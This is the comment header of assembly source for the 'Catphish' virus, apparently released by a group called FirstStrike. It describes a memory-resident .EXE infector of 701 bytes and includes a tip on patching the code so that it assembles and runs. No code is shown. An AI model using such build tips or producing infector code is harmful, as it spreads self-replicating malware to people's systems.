; FirstStrike presents:
;
; The Catphish Virus.
;
; The Catphish virus is a resident .EXE infector.
; Size: 701 bytes (decimal).
; No activation (bomb).
; Saves date and file attributes.
;
; If assembling, check_if_resident jump must be marked over
; with nop after first execution (first execution will hang
; system).
